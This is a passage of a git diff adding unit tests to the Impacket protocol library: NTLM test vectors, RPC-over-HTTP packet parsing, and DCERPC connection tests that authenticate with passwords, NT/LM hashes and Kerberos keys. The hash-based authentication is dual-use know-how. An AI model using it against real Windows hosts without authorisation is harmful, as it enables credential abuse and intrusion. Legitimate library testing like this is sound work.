+        self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00\x18\x00\x18\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x00\x00\x00\x00\xac\x00\x00\x00\xb3\x82\x02\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u7\xf8\x03\xae6q(\xcaE\x82\x04\xbd\xe7\xca\xf8\x1e\x97\xed&\x83&r2'))
+
+        print("\n")
+        print("4.2.3.4 GSS_WrapEx")
+        print("Plaintext")
+        hexdump(self.plaintext)
+        print("\n")
+        print("Output of SEAL()")
+
+        exportedSessionKey = keyExchangeKey
+        clientSigningKey = ntlm.SIGNKEY(flags, exportedSessionKey)
+        clientSealingKey = ntlm.SEALKEY(flags, exportedSessionKey)
+
+        from Cryptodome.Cipher import ARC4
+        cipher = ARC4.new(clientSigningKey)
+
+        cipher2 = ARC4.new(clientSealingKey)
+        client_sealing_h = cipher2.encrypt
+        print("SEALKEY()")
+        hexdump(clientSealingKey)
+        print("\n")
+        print("SIGNKEY()")
+        hexdump(clientSigningKey)
+        print("\n")
+        print("Sealed Data")
+        sealedMsg, signature = ntlm.SEAL(flags, clientSealingKey, clientSigningKey,
+                                         self.plaintext, self.plaintext, self.seqNum, client_sealing_h)
+        #signature = ntlm.SIGN(flags, clientSigningKey, plaintext, seqNum, client_sealing_h)
+        hexdump(sealedMsg)
+        # ToDo: Fix this
+        #self.assertEqual(ntResponse, bytearray(b'\xa0\x23\x72\xf6\x53\x02\x73\xf3\xaa\x1e\xb9\x01\x90\xce\x52\x00\xc9\x9d'))
+        print("\n")
+        print("Signature")
+        hexdump(signature.getData())
+        # ToDo: Fix this
+        #self.assertEqual(ntResponse, bytearray(b'\x01\x00\x00\x00\xff\x2a\xeb\x52\xf6\x81\x79\x3a\x00\x00\x00\x00')
+        print("\n")
+
+    def test_ntlmv2(self):
+        print("####### 4.2.4 NTLMv2 Authentication")
+        ntlm.USE_NTLMv2 = True
+        serverName = b('\x02\x00\x0c\x00\x44\x00\x6f\x00\x6d\x00\x61\x00\x69\x00\x6e\x00\x01\x00\x0c\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x00\x00\x00\x00')
+        # Still the aTime won't be set to zero. that must be changed in ntlm.computeResponseNTLM2. Gotta make this more automated
+
+        flags = ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH | ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_128 | \
+                ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \
+                ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY | ntlm.NTLMSSP_TARGET_TYPE_SERVER | \
+                ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_NEGOTIATE_SEAL | \
+                ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE
+        print("Flags")
+        hexdump(struct.pack('<L',flags))
+        print("\n")
+        print("4.2.4.1.1 NTOWFv2 and LMOWFv2")
+        res = ntlm.NTOWFv2(self.user,self.password,self.domain)
+        hexdump(res)
+        self.assertEqual(res, bytearray(b'\x0c\x86\x8a@;\xfdz\x93\xa3\x00\x1e\xf2.\xf0.?'))
+        print("\n")
+        print("\n")
+        print("4.2.4.1.2 Session Base Key")
+        ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv2(flags, self.serverChallenge,
+                            self.clientChallenge, serverName, self.domain, self.user, self.password, '', '' )
+        hexdump(sessionBaseKey)
+        self.assertEqual(sessionBaseKey, bytearray(b'\x8d\xe4\x0c\xca\xdb\xc1\x4a\x82\xf1\x5c\xb0\xad\x0d\xe9\x5c\xa3'))
+        print("\n")
+
+        print("4.2.4.2.1 LMv2 Response")
+        hexdump(lmResponse)
+        self.assertEqual(lmResponse, bytearray(b'\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'))
+        print("\n")
+        print("4.2.4.2.2 NTLMv2 Response")
+        hexdump(ntResponse[:16])
+        self.assertEqual(ntResponse[:16], bytearray(b'\x68\xcd\x0a\xb8\x51\xe5\x1c\x96\xaa\xbc\x92\x7b\xeb\xef\x6a\x1c'))
+        print("\n")
+        print("4.2.4.2.3 Encrypted Session Key")
+        keyExchangeKey = ntlm.KXKEY(flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')
+        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)
+        hexdump(encryptedSessionKey)
+        self.assertEqual(encryptedSessionKey, bytearray(b'\xC5\xDA\xD2\x54\x4F\xC9\x79\x90\x94\xCE\x1C\xE9\x0B\xC9\xD0\x3E'))
+        print("\n")
+
+        print("AUTHENTICATE MESSAGE")
+        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)
+        ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(self.user, self.password, self.serverChallenge)
+        ntlmChallengeResponse['flags'] = flags
+        ntlmChallengeResponse['host_name'] = self.workstationName.encode('utf-16le')
+        ntlmChallengeResponse['domain_name'] = self.domain.encode('utf-16le')
+        ntlmChallengeResponse['lanman'] = lmResponse
+        ntlmChallengeResponse['ntlm'] = ntResponse
+        ntlmChallengeResponse['session_key'] = encryptedSessionKey
+        hexdump(ntlmChallengeResponse.getData())
+        self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00T\x00T\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xe8\x00\x00\x003\x82\x8a\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaah\xcd\n\xb8Q\xe5\x1c\x96\xaa\xbc\x92{\xeb\xefj\x1c\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x02\x00\x0c\x00D\x00o\x00m\x00a\x00i\x00n\x00\x01\x00\x0c\x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc5\xda\xd2TO\xc9y\x90\x94\xce\x1c\xe9\x0b\xc9\xd0>'))
+        print("\n")
+        print("4.2.4.4 GSS_WrapEx")
+        print("Plaintext")
+        hexdump(self.plaintext)
+        print("\n")
+        print("Output of SEAL()")
+
+        exportedSessionKey = self.randomSessionKey
+        clientSigningKey = ntlm.SIGNKEY(flags, exportedSessionKey)
+        clientSealingKey = ntlm.SEALKEY(flags, exportedSessionKey)
+
+        from Cryptodome.Cipher import ARC4
+
+        cipher2 = ARC4.new(clientSealingKey)
+        client_sealing_h = cipher2.encrypt
+        print("SEALKEY()")
+        hexdump(clientSealingKey)
+        self.assertEqual(clientSealingKey, bytearray(b'Y\xf6\x00\x97<\xc4\x96\n%H\n|\x19nLX'))
+        print("\n")
+        print("SIGNKEY()")
+        hexdump(clientSigningKey)
+        self.assertEqual(clientSigningKey, bytearray(b'G\x88\xdc\x86\x1bG\x82\xf3]C\xfd\x98\xfe\x1a-9'))
+        print("\n")
+        print("Sealed Data")
+        sealedMsg, signature = ntlm.SEAL(flags, clientSealingKey, clientSigningKey,
+                                         self.plaintext, self.plaintext, self.seqNum, client_sealing_h)
+        #signature = ntlm.SIGN(flags, clientSigningKey, plaintext, seqNum, client_sealing_h)
+        hexdump(sealedMsg)
+        self.assertEqual(sealedMsg, bytearray(b'T\xe5\x01e\xbf\x196\xdc\x99` \xc1\x81\x1b\x0f\x06\xfb_'))
+        print("\n")
+        print("Signature")
+        hexdump(signature.getData())
+        self.assertEqual(signature.getData(), bytearray(b'\x01\x00\x00\x00\x00\xc1a\xa1\x1e@\x03\x9f\x00\x00\x00\x00'))
+        #print (repr(bytearray(str(signature))))
+        #raise
+        print("\n")
+
+    def __pack_and_parse(self, message, expected):
+        data = message.getData()
+        hexdump(data)
+        self.assertEqual(data, expected)
+        parsed = ntlm.NTLMAuthNegotiate()
+        parsed.fromString(data)
+        return parsed
+
+    def test_refactor_negotiate_message(self):
+        print('#### Pack and parse, without version')
+        negoMsgToPack = ntlm.NTLMAuthNegotiate()
+        negoMsgParsed = self.__pack_and_parse(negoMsgToPack, bytearray(
+            b'NTLMSSP\x00\x01\x00\x00\x001\x02\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+        ))
+        self.assertEqual(negoMsgParsed['flags'] & ntlm.NTLMSSP_NEGOTIATE_VERSION, 0)
+        self.assertEqual(negoMsgParsed['os_version'], '')
+
+        print('#### Pack and parse, with version')
+        major, minor, build = 10, 0, 19041
+        version = ntlm.VERSION()
+        version['ProductMajorVersion'], version['ProductMinorVersion'], version['ProductBuild'] = major, minor, build
+        negoMsgToPack = ntlm.NTLMAuthNegotiate()
+        negoMsgToPack['os_version'] = version
+        negoMsgParsed = self.__pack_and_parse(negoMsgToPack, bytearray(
+            b'NTLMSSP\x00\x01\x00\x00\x001\x02\x00b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+            b'\x0a\x00aJ\x00\x00\x00\x0f'
+        ))
+        self.assertEqual(negoMsgParsed['flags'] & ntlm.NTLMSSP_NEGOTIATE_VERSION, ntlm.NTLMSSP_NEGOTIATE_VERSION)
+        self.assertEqual(negoMsgParsed['os_version']['ProductMajorVersion'], major)
+        self.assertEqual(negoMsgParsed['os_version']['ProductMinorVersion'], minor)
+        self.assertEqual(negoMsgParsed['os_version']['ProductBuild'], build)
+
+        print('#### Try to set the NTLMSSP_NEGOTIATE_VERSION flag without specifying os_version')
+        negoMsgToPack = ntlm.NTLMAuthNegotiate()
+        negoMsgToPack['flags'] |= ntlm.NTLMSSP_NEGOTIATE_VERSION
+        self.assertRaises(Exception, negoMsgToPack.getData)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/test_rpch.py b/tests/SMB_RPC/test_rpch.py
new file mode 100644
index 0000000..b0abb66
--- /dev/null
+++ b/tests/SMB_RPC/test_rpch.py
@@ -0,0 +1,296 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from __future__ import division
+from __future__ import print_function
+from struct import unpack
+
+import pytest
+import unittest
+from tests import RemoteTestCase
+
+from impacket.dcerpc.v5 import transport, epm, rpch
+from impacket.dcerpc.v5.ndr import NULL
+
+@pytest.mark.remote
+class RPCHTest(RemoteTestCase, unittest.TestCase):
+
+    def setUp(self):
+        super(RPCHTest, self).setUp()
+        self.set_transport_config()
+
+    def test_1(self):
+        # Direct connection to ncacn_http service, RPC over HTTP v1
+        # No authentication
+        stringbinding = 'ncacn_http:%s' % self.machine
+        rpctransport = transport.DCERPCTransportFactory(stringbinding)
+
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(epm.MSRPC_UUID_PORTMAP)
+
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 10
+
+        dce.request(request)
+        dce.disconnect()
+
+        # Reconnecting
+        dce.connect()
+        dce.bind(epm.MSRPC_UUID_PORTMAP)
+
+        dce.request(request)
+        dce.disconnect()
+
+
+class RPCHLocalTest(unittest.TestCase):
+
+    def test_2(self):
+        # CONN/A1
+        resp = b'\x05\x00\x14\x03\x10\x00\x00\x00\x4c\x00\x00\x00\x00\x00' + \
+               b'\x00\x00\x00\x00\x04\x00\x06\x00\x00\x00\x01\x00\x00\x00' + \
+               b'\x03\x00\x00\x00\xb0\xf6\xaf\x3d\x77\x62\x98\x07\x9b\x21' + \
+               b'\x54\x6e\xec\xf4\x22\x53\x03\x00\x00\x00\x3a\x24\x7a\x37' + \
+               b'\x6d\xc1\xed\x2c\x68\x5d\x34\x35\x13\x46\x43\x25\x00\x00' + \
+               b'\x00\x00\x00\x00\x04\x00'
+
+        packet = rpch.RTSHeader(resp)
+        packet.dump()
+
+        pduData = packet['pduData']
+        numberOfCommands = packet['NumberOfCommands']
+
+        self.assertEqual(numberOfCommands, 4)
+        self.assertEqual(packet['Flags'], rpch.RTS_FLAG_NONE)
+        self.assertEqual(packet['frag_len'], 76)
+        self.assertEqual(len(pduData), 56)
+
+        server_cmds = []
+        while numberOfCommands > 0:
+            numberOfCommands -= 1
+
+            cmd_type = unpack('<L', pduData[:4])[0]
+            cmd = rpch.COMMANDS[cmd_type](pduData)
+            server_cmds.append(cmd)
+            pduData = pduData[len(cmd):]
+
+        for cmd in server_cmds:
+            cmd.dump()
+
+        self.assertEqual(server_cmds[0].getData(), rpch.Version().getData())
+        receiveWindowSize = rpch.ReceiveWindowSize()
+        receiveWindowSize['ReceiveWindowSize'] = 262144
+
+        self.assertEqual(server_cmds[3].getData(), receiveWindowSize.getData())
+
+        cookie = rpch.Cookie()
+        cookie['Cookie'] = b'\xb0\xf6\xaf=wb\x98\x07\x9b!Tn\xec\xf4"S'
+
+        self.assertEqual(server_cmds[1].getData(), cookie.getData())
+
+    def test_3(self):
+        # CONN/A3
+        resp = b'\x05\x00\x14\x03\x10\x00\x00\x00\x1c\x00\x00\x00\x00\x00' + \
+               b'\x00\x00\x00\x00\x01\x00\x02\x00\x00\x00\xc0\xd4\x01\x00'
+
+        packet = rpch.RTSHeader(resp)
+        packet.dump()
+
+        pduData = packet['pduData']
+        numberOfCommands = packet['NumberOfCommands']
+
+        server_cmds = []
+        while numberOfCommands > 0:
+            numberOfCommands -= 1
+
+            cmd_type = unpack('<L', pduData[:4])[0]
+            cmd = rpch.COMMANDS[cmd_type](pduData)
+            server_cmds.append(cmd)
+            pduData = pduData[len(cmd):]
+
+        for cmd in server_cmds:
+            cmd.dump()
+
+        connectionTimeout = rpch.ConnectionTimeout()
+        connectionTimeout['ConnectionTimeout'] = 120000
+
+        self.assertEqual(server_cmds[0].getData(), connectionTimeout.getData())
+
+    def test_4(self):
+        # PING
+        resp = b'\x05\x00\x14\x03\x10\x00\x00\x00\x14\x00\x00\x00\x00\x00' + \
+               b'\x00\x00\x01\x00\x00\x00'
+
+        packet = rpch.RTSHeader(resp)
+        packet.dump()
+
+        pduData = packet['pduData']
+        numberOfCommands = packet['NumberOfCommands']
+
+        server_cmds = []
+        while numberOfCommands > 0:
+            numberOfCommands -= 1
+
+            cmd_type = unpack('<L', pduData[:4])[0]
+            cmd = rpch.COMMANDS[cmd_type](pduData)
+            server_cmds.append(cmd)
+            pduData = pduData[len(cmd):]
+
+        for cmd in server_cmds:
+            cmd.dump()
+
+        self.assertEqual(packet['Flags'], rpch.RTS_FLAG_PING)
+
+    def test_5(self):
+        # CONN/C2
+        resp = b'\x05\x00\x14\x03\x10\x00\x00\x00\x2c\x00\x00\x00\x00\x00' + \
+               b'\x00\x00\x00\x00\x03\x00\x06\x00\x00\x00\x01\x00\x00\x00' + \
+               b'\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x00\x00\xc0\xd4' + \
+               b'\x01\x00'
+
+        packet = rpch.RTSHeader(resp)
+        packet.dump()
+
+        pduData = packet['pduData']
+        numberOfCommands = packet['NumberOfCommands']
+
+        server_cmds = []
+        while numberOfCommands > 0:
+            numberOfCommands -= 1
+
+            cmd_type = unpack('<L', pduData[:4])[0]
+            cmd = rpch.COMMANDS[cmd_type](pduData)
+            server_cmds.append(cmd)
+            pduData = pduData[len(cmd):]
+
+        for cmd in server_cmds:
+            cmd.dump()
+
+        connectionTimeout = rpch.ConnectionTimeout()
+        connectionTimeout['ConnectionTimeout'] = 120000
+
+        self.assertEqual(server_cmds[2].getData(), connectionTimeout.getData())
+
+        receiveWindowSize = rpch.ReceiveWindowSize()
+        receiveWindowSize['ReceiveWindowSize'] = 65536
+
+        self.assertEqual(server_cmds[1].getData(), receiveWindowSize.getData())
+        self.assertEqual(server_cmds[0].getData(), rpch.Version().getData())
+
+    def test_6(self):
+        # FlowControlAckWithDestination
+        resp = b'\x05\x00\x14\x03\x10\x00\x00\x00\x38\x00\x00\x00\x00\x00' + \
+               b'\x00\x00\x02\x00\x02\x00\x0d\x00\x00\x00\x00\x00\x00\x00' + \
+               b'\x01\x00\x00\x00\x92\x80\x00\x00\x00\x00\x01\x00\xe3\x79' + \
+               b'\x6e\x7c\xbc\x68\xa9\x4d\xab\x8d\x82\x40\xa0\x05\x72\x32'
+
+        packet = rpch.RTSHeader(resp)
+        packet.dump()
+
+        pduData = packet['pduData']
+        numberOfCommands = packet['NumberOfCommands']
+
+        server_cmds = []
+        while numberOfCommands > 0:
+            numberOfCommands -= 1
+
+            cmd_type = unpack('<L', pduData[:4])[0]
+            cmd = rpch.COMMANDS[cmd_type](pduData)
+            server_cmds.append(cmd)
+            pduData = pduData[len(cmd):]
+
+        for cmd in server_cmds:
+            cmd.dump()
+
+        self.assertEqual(packet['Flags'], rpch.RTS_FLAG_OTHER_CMD)
+
+        ack = rpch.Ack()
+        ack['BytesReceived'] = 32914
+        ack['AvailableWindow'] = 65536
+        ack['ChannelCookie'] = rpch.RTSCookie()
+        ack['ChannelCookie']['Cookie'] = b'\xe3yn|\xbch\xa9M\xab\x8d\x82@\xa0\x05r2'
+
+        self.assertEqual(server_cmds[1]['Ack'].getData(), ack.getData())
+
+    def test_7(self):
+        # CONN/B2, IPv4
+        resp = b'\x05\x00\x14\x03\x10\x00\x00\x00\x80\x00\x00\x00\x00\x00' + \
+               b'\x00\x00\x08\x00\x07\x00\x06\x00\x00\x00\x01\x00\x00\x00' + \
+               b'\x03\x00\x00\x00\x61\xec\x8b\xb3\x40\x28\xa8\x46\xba\xfd' + \
+               b'\x90\xcf\x6d\x31\xdc\x29\x03\x00\x00\x00\x20\xce\x94\x22' + \
+               b'\x30\x83\x1b\x45\x94\xea\x0d\x7e\x05\xd2\xa8\x5a\x00\x00' + \
+               b'\x00\x00\x00\x00\x01\x00\x02\x00\x00\x00\xc0\xd4\x01\x00' + \
+               b'\x0c\x00\x00\x00\xdf\x28\xb4\x20\x77\xa4\x70\x42\xb1\xd1' + \
+               b'\x4a\x03\x49\x5f\x6b\x7b\x0b\x00\x00\x00\x00\x00\x00\x00' + \
+               b'\x00\x00\x00\x00\xc0\xa8\x02\xfe\x00\x00\x00\x00\x00\x00' + \
+               b'\x00\x00'
+
+        packet = rpch.RTSHeader(resp)
+        packet.dump()
+
+        pduData = packet['pduData']
+        numberOfCommands = packet['NumberOfCommands']
+
+        self.assertEqual(packet['Flags'], rpch.RTS_FLAG_IN_CHANNEL)
+
+        server_cmds = []
+        while numberOfCommands > 0:
+            numberOfCommands -= 1
+
+            cmd_type = unpack('<L', pduData[:4])[0]
+            cmd = rpch.COMMANDS[cmd_type](pduData)
+            server_cmds.append(cmd)
+            pduData = pduData[len(cmd):]
+
+        for cmd in server_cmds:
+            cmd.dump()
+
+        # TODO: Check ClientAddress. Why is it in the padding?!
+
+    def test_8(self):
+        # CONN/A2
+        resp = b'\x05\x00\x14\x03\x10\x00\x00\x00\x54\x00\x00\x00\x00\x00' + \
+               b'\x00\x00\x10\x00\x05\x00\x06\x00\x00\x00\x01\x00\x00\x00' + \
+               b'\x03\x00\x00\x00\x61\xec\x8b\xb3\x40\x28\xa8\x46\xba\xfd' + \
+               b'\x90\xcf\x6d\x31\xdc\x29\x03\x00\x00\x00\xbc\x38\x10\x35' + \
+               b'\xa7\xf0\x3d\x43\x9c\x3f\x44\x85\x6e\xf1\xc3\xb0\x04\x00' + \
+               b'\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x01\x00'
+
+        packet = rpch.RTSHeader(resp)
+        packet.dump()
+
+        pduData = packet['pduData']
+        numberOfCommands = packet['NumberOfCommands']
+
+        self.assertEqual(packet['Flags'], rpch.RTS_FLAG_OUT_CHANNEL)
+
+        server_cmds = []
+        while numberOfCommands > 0:
+            numberOfCommands -= 1
+
+            cmd_type = unpack('<L', pduData[:4])[0]
+            cmd = rpch.COMMANDS[cmd_type](pduData)
+            server_cmds.append(cmd)
+            pduData = pduData[len(cmd):]
+
+        for cmd in server_cmds:
+            cmd.dump()
+
+        channelLifetime = rpch.ChannelLifetime()
+        channelLifetime['ChannelLifetime'] = 1073741824
+
+        self.assertEqual(server_cmds[-2].getData(), channelLifetime.getData())
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/test_rpcrt.py b/tests/SMB_RPC/test_rpcrt.py
new file mode 100644
index 0000000..57d4223
--- /dev/null
+++ b/tests/SMB_RPC/test_rpcrt.py
@@ -0,0 +1,415 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from __future__ import division
+from __future__ import print_function
+
+import pytest
+import unittest
+from tests import RemoteTestCase
+
+from impacket.dcerpc.v5.ndr import NDRCALL
+from impacket.dcerpc.v5 import transport, epm, samr
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, \
+    RPC_C_AUTHN_LEVEL_NONE, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT
+from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING
+
+
+# aimed at testing just the DCERPC engine, not the particular
+# endpoints (we should do specific tests for endpoints)
+# here we're using EPM just because we need one, and it's the 
+# easiest one
+class RPCRTTests(RemoteTestCase):
+
+    def connectDCE(self, username, password, domain, lm='', nt='', aes_key='', TGT=None, TGS=None, tfragment=0,
+                   dceFragment=0, auth_type=RPC_C_AUTHN_WINNT, auth_level=RPC_C_AUTHN_LEVEL_NONE, dceAuth=True,
+                   doKerberos=False, bind=epm.MSRPC_UUID_PORTMAP):
+        rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(username, password, domain, lm, nt, aes_key, TGT, TGS)
+            rpctransport.set_kerberos(doKerberos, kdcHost=self.machine)
+
+        rpctransport.set_max_fragment_size(tfragment)
+        rpctransport.setRemoteName(self.serverName)
+        rpctransport.setRemoteHost(self.machine)
+        dce = rpctransport.get_dce_rpc()
+        dce.set_max_fragment_size(dceFragment)
+        if dceAuth is True:
+            dce.set_credentials(*(rpctransport.get_credentials()))
+        dce.connect()
+        dce.set_auth_type(auth_type)
+        dce.set_auth_level(auth_level)
+        dce.bind(bind)
+
+        return dce
+
+    def test_connection(self):
+        dce = self.connectDCE(self.username, self.password, self.domain, dceAuth=False)
+        dce.disconnect()
+
+    def test_connectionHashes(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceAuth=False)
+        dce.disconnect()
+
+    def test_dceAuth(self):
+        dce = self.connectDCE(self.username, self.password, self.domain, dceAuth=True)
+        epm.hept_lookup(self.machine)
+        dce.disconnect()
+
+    def test_dceAuthKerberos(self):
+        dce = self.connectDCE(self.username, self.password, self.domain, dceAuth=True, doKerberos=True)
+        epm.hept_lookup(self.machine)
+        dce.disconnect()
+
+    def test_dceAuthHasHashes(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceAuth=True)
+        epm.hept_lookup(self.machine)
+        dce.disconnect()
+
+    def test_dceAuthHasHashesKerberos(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceAuth=True, doKerberos=True)
+        epm.hept_lookup(self.machine)
+        dce.disconnect()
+
+    def test_dceAuthHasAes128Kerberos(self):
+        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_128, dceAuth=True, doKerberos=True)
+        epm.hept_lookup(self.machine)
+        dce.disconnect()
+
+    def test_dceAuthHasAes256Kerberos(self):
+        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_256, dceAuth=True, doKerberos=True)
+        epm.hept_lookup(self.machine)
+        dce.disconnect()
+
+    def test_dceTransportFragmentation(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, tfragment=1, dceAuth=True, doKerberos=False)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        dce.disconnect()
+
+    def test_dceFragmentation(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1, dceAuth=True, doKerberos=False)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        dce.disconnect()
+
+    def test_bigRequestMustFragment(self):
+        class dummyCall(NDRCALL):
+            opnum = 2
+            structure = (
+                ('Name', RPC_UNICODE_STRING),
+            )
+        oldBinding = self.stringBinding
+        self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')
+        print(self.stringBinding)
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=0,
+                              auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
+                              dceAuth=True,
+                              doKerberos=True, bind=samr.MSRPC_UUID_SAMR)
+        self.stringBinding = oldBinding
+
+        request = samr.SamrConnect()
+        request['ServerName'] = b'BETO\x00'
+        request['DesiredAccess'] = samr.DELETE | samr.READ_CONTROL | samr.WRITE_DAC | samr.WRITE_OWNER | samr.ACCESS_SYSTEM_SECURITY | samr.GENERIC_READ | samr.GENERIC_WRITE | samr.GENERIC_EXECUTE | samr.SAM_SERVER_CONNECT | samr.SAM_SERVER_SHUTDOWN | samr.SAM_SERVER_INITIALIZE | samr.SAM_SERVER_CREATE_DOMAIN | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN | samr.SAM_SERVER_READ | samr.SAM_SERVER_WRITE | samr.SAM_SERVER_EXECUTE
+        resp = dce.request(request)
+        request = samr.SamrEnumerateDomainsInSamServer()
+        request['ServerHandle'] = resp['ServerHandle']
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 500
+        dce.request(request)
+        try:
+            request = samr.SamrLookupDomainInSamServer()
+            request['ServerHandle'] = resp['ServerHandle']
+            request['Name'] = 'A'*4500
+            dce.request(request)
+        except Exception as e:
+            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
+                raise
+        dce.disconnect()
+
+    def test_dceFragmentationWINNTPacketIntegrity(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1,
+                              auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=False)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        dce.disconnect()
+
+    def test_dceFragmentationWINNTPacketPrivacy(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1,
+                              auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=False)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
+        request['vers_option'] = epm.RPC_C_VERS_ALL
+        request['max_ents'] = 499
+        dce.request(request)
+        dce.disconnect()
+
+    def test_dceFragmentationKerberosPacketIntegrity(self):
+        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1,
+                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,
+                              auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=True)
+        request = epm.ept_lookup()
+        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
+        request['object'] = NULL
+        request['Ifid'] = NULL
